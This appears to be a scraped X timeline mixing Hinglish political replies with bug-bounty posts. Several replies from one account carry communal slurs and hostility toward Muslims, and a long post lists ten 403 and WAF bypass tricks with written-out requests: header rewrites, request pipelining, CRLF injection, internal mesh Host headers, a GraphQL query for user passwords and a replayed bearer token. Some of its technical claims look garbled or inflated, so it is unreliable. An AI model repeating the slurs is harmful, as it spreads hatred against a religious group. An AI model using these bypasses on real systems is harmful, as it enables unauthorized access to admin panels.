Base64

[Base64 @base643d]

@DrOsamaSiddique @HPhobiaWatch ro beta , isse zyada tum kuch nai kar sakte.

[Base64 @base643d]

@shoaibzz123 @HPhobiaWatch Ham toh Roz naahte sale naale ke keedey, tere nasal jaisa nahi jo ek hafte me sirf jhumme ko naahte.

[obscaries ❘ AppSec @obscaries]

🐞If you hunt modern web apps, this guide is worth your time.

A deep dive into Next.js security testing covering real attack surfaces — SSRF, XSS, CSTI/SSTI, cache issues, data leaks, and more — with a mindset tailored for bug hunters and pentesters.

Frameworks evolve fast, and so do their flaws.
Understanding how Next.js handles rendering, routing, APIs, and caching can open doors to impactful findings.
Great work by @daoud_youssef — definitely adding this to my testing workflow.

🔥https://t.co/qITh7eFNNy

#BugBounty #AppSec #WebSecurity #Pentesting #NextJS #CyberSecurity #SecurityResearch

[Base64 @base643d]

@MeghUpdates encounter

[Base64 @base643d]

@MeghUpdates indications are clear:
that katvi from mim said:
"Kaise harayaa!" ,"mumbra poora Hara Rangna hai!" "Inlogonko pachad ke bhijana hai! insallah",they are giving big hints that too publicly and our dumb head Hindus wont learn from past nor present and never think about der future.

[Base64 @base643d]

@WllGates paid?

[Base64 @base643d]

@mishrag47 tera Abdul alag nahi hai.

[Base64 @base643d]

@CyberHuntss Paadabhi vandan us Bhai ko

[Base64 @base643d]

@Chrollo_PT @UmdarTamker andh namazis paaki saley jab tumari aukad bhool jatey hai ham kabhi kabhi yaad Dilaa dete hai.

[Base64 @base643d]

@grok @111_22264096 @hermes_tool1 translate it to english

[Base64 @base643d]

@NationTeluguTG @TheRealHindust2 @farzlicioustahe ok you get lost in sambar

[Base64 @base643d]

@KreatelyMedia @TawdeRitu @ritu_tawde after this operation now our Dialogue be like : Kaisey Bhagaaaayaaaa ? 😭

[Base64 @base643d]

@Bharatrastrsena Yes

[Base64 @base643d]

@intigriti No bugs 😔

[jatin banga @JatinBanga18]

I Found a Bug That Exposed Private Instagram Posts to Anyone.
https://t.co/oIZL3W9bCw

@InfoSecComm @ctbbpodcast
@BugBountyHQ @gregxsunday
@bountywriteups

#instagram #InfoSec #WebSecurity #CybersecurityNews

[Base64 @base643d]

@mohnishpatel887 @total_woke_ @zoo_bear 😆

[Base64 @base643d]

@GPX_Press So at the age of 96 he want to do j1had.

[Base64 @base643d]

@TheShariqAhmed @LawFarm56081 @MamataOfficial dp pe tera baap ka photo bahut Acha hai

[X @TheMsterDoctor1]

🧠💥 99% of hackers QUIT when they see a 403…

But the 1%? They try this: 👇

I found a 403 Forbidden on /admin.

But then I tried:
•POST /admin
•X-Original-URL: /admin
•/admin..;/
•%2e/admin
•X-Rewrite-URL: /admin
•/ADMIN (yes, just caps)
•/;/admin
•/..;/admin

👇👇👇

⸻

🔥 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps)

Target running HTTP/2 or gRPC? Force downgrade:

PRI * HTTP/2.0
SM

GET /admin HTTP/1.1

🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1.

⸻

🧬 2. Content-Length Collapsing (https://t.co/3qXplOXgpV) on HTTP Pipelining

Send pipelined requests where only 1st is parsed by WAF:

POST /admin HTTP/1.1
Host: https://t.co/axAPlulNpQ
Content-Length: 13

GET /admin

💥 WAF reads POST → blocks.
Backend reads 2nd GET /admin → 200 OK.

This is invisible to most WAFs.

⸻

🚪 3. Misconfigured Reverse Proxy Chain Escape

Proxy chain: Cloudflare → NGINX → Apache

Try:

GET /admin
X-Accel-Redirect: /admin
X-Forwarded-Path: /admin

Apache follows X-Accel-Redirect, bypasses upstream auth check.

💣 Real-world: Gained internal panel behind Cloudflare.

⸻

🔄 4. CRLF into Rewrite Bypass

Some edge WAFs parse until CRLF \r\n, others don’t.

Exploit it:

GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin

WAF reads URL → clean
Backend sees X-Rewrite-URL: /admin → executes

⸻

🔃 5. Multipart Boundary Injection Bypass (💀)

Used when /admin is only allowed for file uploads:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----1337

------1337
Content-Disposition: form-data; name="file"; filename="/admin"
Content-Type: text/plain

BOOM
------1337--

💣 If upload endpoint allows arbitrary path write → full override.

⸻

📡 6. Misrouted Mesh Bypass via Service Discovery

Kubernetes, Linkerd, Istio-style microservices expose internal routes:

Send:

Host: admin.internal.svc.cluster.local
X-Service-Router: admin

If service-mesh is misconfigured, you route directly to internal /admin even if public 403s.

⸻

⚠️ 7. GraphQL-Injected 403 Bypass

If app has GraphQL and 403-protected admin, try:

query {
admin {
users {
password
}
}
}

GraphQL often proxies internal microservice calls.

Even if /admin is blocked via HTTP, the GQL layer may leak internal paths.

⸻

🧠 8. Preconnect Overload → Bypass

Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive.

After 30–50 requests:
•WAF disables parsing
•Keep-alive tunnel reused for real GET /admin

🧨 Real bypass via persistent connection channeling

⸻

💻 9. Browser-Only Token Auth Bypass (via Headless Browser)

Some SPAs load tokens via JS → protect /admin based on localStorage.

WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass.

🔥 Use puppeteer + exportAuth → replay:

curl -H "Authorization: Bearer <extracted_token>" https://t.co/KeR304da2D

⸻

🧪 10. Distributed Retry Amplification

When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject:

Retry-After: 0
X-Retry-URL: /admin

WAF retries → skips deny logic → backend hits /admin.

This is logic poisoning — not brute force.

⸻

🚨 These Aren’t Payloads. They’re Logic Chains.

Most tools stop at:

/admin%2e
X-Forwarded-For: 127.0.0.1

You’re playing 4D chess now:
✅ Protocol confusion
✅ Reverse proxy reroute
✅ GraphQL indirect call
✅ SSRF via retry
✅ Downgrade injection
✅ WAF desyncing

⸻

💰 These got real bounties:
•$25,000 from a Cloudflare-protected admin
•$12,500 via SSRF + Retry Poison
•$8,000 using pipelined https://t.co/3qXplOXgpV request

⸻

Want a toolkit that automates:

This is next-level exploitation.
Use it right. 🧠💣

🛠 TOOLS to automate bypass:

•🔧 https://t.co/5yIqLjkvaS

•🔧 https://t.co/bbVde9Caoh

•🔧 https://t.co/W05Ly8nEB6

•🔧 https://t.co/Av6mKRCef2

•🔧 https://t.co/kndjPIOEix

[Base64 @base643d]

@InsiderWorld_1 If Netanyahu is criminal admit the reason behind the genocide is it's you muslim community and countries and your hypocrisy, 1st you attack and hide behind your ladies.